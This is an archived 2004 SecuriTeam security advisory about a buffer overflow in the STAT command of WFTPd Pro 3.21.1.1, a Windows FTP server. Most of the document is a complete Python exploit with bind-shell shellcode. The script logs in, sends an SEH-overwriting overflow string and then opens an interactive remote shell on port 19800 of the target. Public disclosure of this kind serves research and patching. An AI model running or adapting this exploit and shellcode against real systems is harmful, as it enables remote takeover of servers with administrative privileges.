

[EXPL] WFTPd STAT Command Remote Vulnerability Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-03/0017.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 03/07/04

To: list@securiteam.com

Date: 7 Mar 2004 12:58:11 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

WFTPd STAT Command Remote Vulnerability Exploit

SUMMARY

<<http://www.wftpd.com/>> WFTPD is a popular FTP server for Windows. A buffer overflow vulnerability exists in WFTPD which allows a remote attacker to crash the server, possibly executing arbitrary code with administrative privileges.

A proof of concept Python code which can help test for the vulnerability is provided.

DETAILS

Vulnerable Systems:

* WFTD pro version 3.21.1.1

```
#!/usr/bin/python
```

```
#wftpd exploit, code by OYXin
```

```
#POC and lame python exploit, only test on WFTD pro 3.21.1.1 with win2000  
cn sp4
```

```
#vul found by axl rose <rdxaxl hotmail com>
```

```
#Thanks axl and all 0seen team members.
```

Securiteam: [EXPL] WFTPD STAT Command Remote Vulnerability Exploit

```
#Night gave me the eye of black  
#with it I pursue after the light
```

```
import socket  
import getopt  
import sys  
import string  
import telnetlib  
import time
```

```
fakeseh = '\x71\x15\xfa\x7f'  
jmpover = '\xeb\x06\xeb\x06'
```

```
#ripped from jeno
```

```
#http://www.xfocus.net/articles/200308/604.html
```

```
bindsc = ""  
bindsc +=  
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\xd9\x01\x80\x34\x0B\x99\xE2\xFA"  
bindsc +=  
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x18\x75\x19\x99\x99\x99\x12\x6D\x71"  
bindsc +=  
"\xD5\x98\x99\x99\x10\x9F\x66\xAF\xF1\x17\xD7\x97\x75\x71\xFF\x98"  
bindsc +=  
"\x99\x99\x10\xDF\x91\x66\xAF\xF1\x34\x40\x9C\x57\x71\xCE\x98\x99"  
bindsc +=  
"\x99\x10\xDF\x95\xF1\xF5\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE"  
bindsc +=  
"\xEA\xAB\xC6\xCD\x66\xCF\x91\x10\xDF\x9D\x66\xAF\xF1\xEB\x67\x2A"  
bindsc +=  
"\x8F\x71\xAB\x98\x99\x99\x10\xDF\x89\x66\xAF\xF1\xE7\x41\x7B\xEA"  
bindsc +=  
"\x71\xBA\x98\x99\x99\x10\xDF\x8D\x66\xEF\x9D\xF1\x52\x74\x65\xA2"  
bindsc +=  
"\x71\x8A\x98\x99\x99\x10\xDF\x81\x66\xEF\x9D\xF1\x40\x90\x6C\x34"  
bindsc +=  
"\x71\x9A\x98\x99\x99\x10\xDF\x85\x66\xEF\x9D\xF1\x3D\x83\xE9\x5E"  
bindsc +=  
"\x71\x6A\x99\x99\x99\x10\xDF\xB9\x66\xEF\x9D\xF1\x3D\x34\xB7\x70"  
bindsc +=  
"\x71\x7A\x99\x99\x99\x10\xDF\xBD\x66\xEF\x9D\xF1\x7C\xD0\x1F\xD0"  
bindsc +=  
"\x71\x4A\x99\x99\x99\x10\xDF\xB1\x66\xEF\x9D\xF1\x7E\xE0\x5F\xE0"  
bindsc +=  
"\x71\x5A\x99\x99\x99\x10\xDF\xB5\xAA\x66\x18\x75\x09\x98\x99\x99"  
bindsc +=  
"\xCD\xF1\x98\x98\x99\x99\x66\xCF\x81\xC9\xC9\xC9\xC9\xD9\xC9\xD9"  
bindsc +=  
"\xC9\x66\xCF\x85\x12\x41\xCE\xCE\xF1\x9B\x99\xd4\xc1\x12\x55\xF3"  
bindsc +=  
"\x8F\xC8\xCA\x66\xCF\xB9\xCE\xCA\x66\xCF\xBD\xCE\xC8\xCA\x66\xCF"  
bindsc +=
```

Securiteam: [EXPL] WFTPD STAT Command Remote Vulnerability Exploit

```
"\xB1\x12\x49\xF1\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\xFF\xA9"  
bindsc +=  
"\x1A\x75\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32\x7B\x64"  
bindsc +=  
"\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xCD\xBD"  
bindsc +=  
"\xD1\x10\xCD\xBD\xD5\x10\xCD\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8"  
bindsc +=  
"\xC8\xC8\xD8\xC8\xD0\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x89\x12\x55"  
bindsc +=  
"\xF3\x66\x66\xA8\x66\xCF\x95\x12\x51\xCE\x66\xCF\xB5\x66\xCF\x8D"  
bindsc +=  
"\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"  
bindsc +=  
"\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"  
bindsc +=  
"\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"  
bindsc +=  
"\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"  
bindsc +=  
"\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"  
bindsc +=  
"\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"  
bindsc +=  
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"  
bindsc +=  
"\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99"
```

```
class wftpd_exploit:
```

```
    def __init__(self):  
        self.host = 'localhost'  
        self.port = '21'  
        self.username = 'anonymous'  
        self.password = 'oyxin@21cn.com'  
        self.exploitstring = ""  
        self.recvbuf = ""  
        return
```

```
    def usage():
```

```
        print 'wftpexploit -h ip -p port -U usermae -p password'
```

```
    def sethost(self,host):
```

```
        self.host = host  
        return
```

```
    def setport(self,port):
```

```
        self.port = port  
        return
```

```
    def setname(self,username):
```

```
        self.username = username
```

Securiteam: [EXPL] WFTPD STAT Command Remote Vulnerability Exploit

```
    return

def setpass(self,password):
    self.password = password
    return

def makestring(self):
    self.exploitstring = 'STAT -'+ 'A'*35 + jmpover + fakeseh + bindsc
+ ' ' + '\r\n'
    return

def run(self):
    try:
        sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sockfd.connect((self.host, int(self.port)))
        recvbuf = sockfd.recv(1000)
        print '[+] '+'send username'
        sockfd.send('user '+self.username+'\r\n')
        recvbuf = sockfd.recv(1000)
        print '[-] '+string.strip(recvbuf)
        print '[+] '+'send password'
        sockfd.send('pass '+self.password+'\r\n')
        recvbuf = sockfd.recv(1000)
        print '[-] '+string.strip(recvbuf)
        print '[+] '+'send evilbuf.....'
        sockfd.send(self.exploitstring)
        recvbuf = sockfd.recv(1000)
        sockfd.close()
    except:
        sys.exit(-1)

def getshell(self):
    print 'Try to get shell...waiting\n'
    time.sleep(1)
    try:
        sockfd2=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        sockfd2.connect((self.host,19800))
        shell=telnetlib.Telnet()
        shell.sock=sockfd2
        shell.interact()
    except:
        print "sorry,maybe you can try connect back.....\n"
        sys.exit(-1)

if __name__ == '__main__':
    oseen = wftpd_exploit()
    victimname = 'anonymous'
    victimpass = 'oyxin@21cn.com'
    victimport = 21
```

Securiteam: [EXPL] WFTPd STAT Command Remote Vulnerability Exploit

```
try:
    (opts,args)=getopt.getopt(sys.argv[1:], "h:p:U:P:")
except getopt.GetoptError:
    oseen.usage()

for o,a in opts:
    if o in ["-h"]:
        victimhost = a
    if o in ["-p"]:
        victimport = a
    if o in ["-U"]:
        victimname = a
    if o in ["-P"]:
        victimpass = a

oseen.sethost( victimhost )
oseen.setport( victimport )
oseen.setname( victimname )
oseen.setpass( victimpass )
oseen.makestring()
oseen.run()
oseen.getshell()
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:o5een@hotmail.com>> Security Team Oseen.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.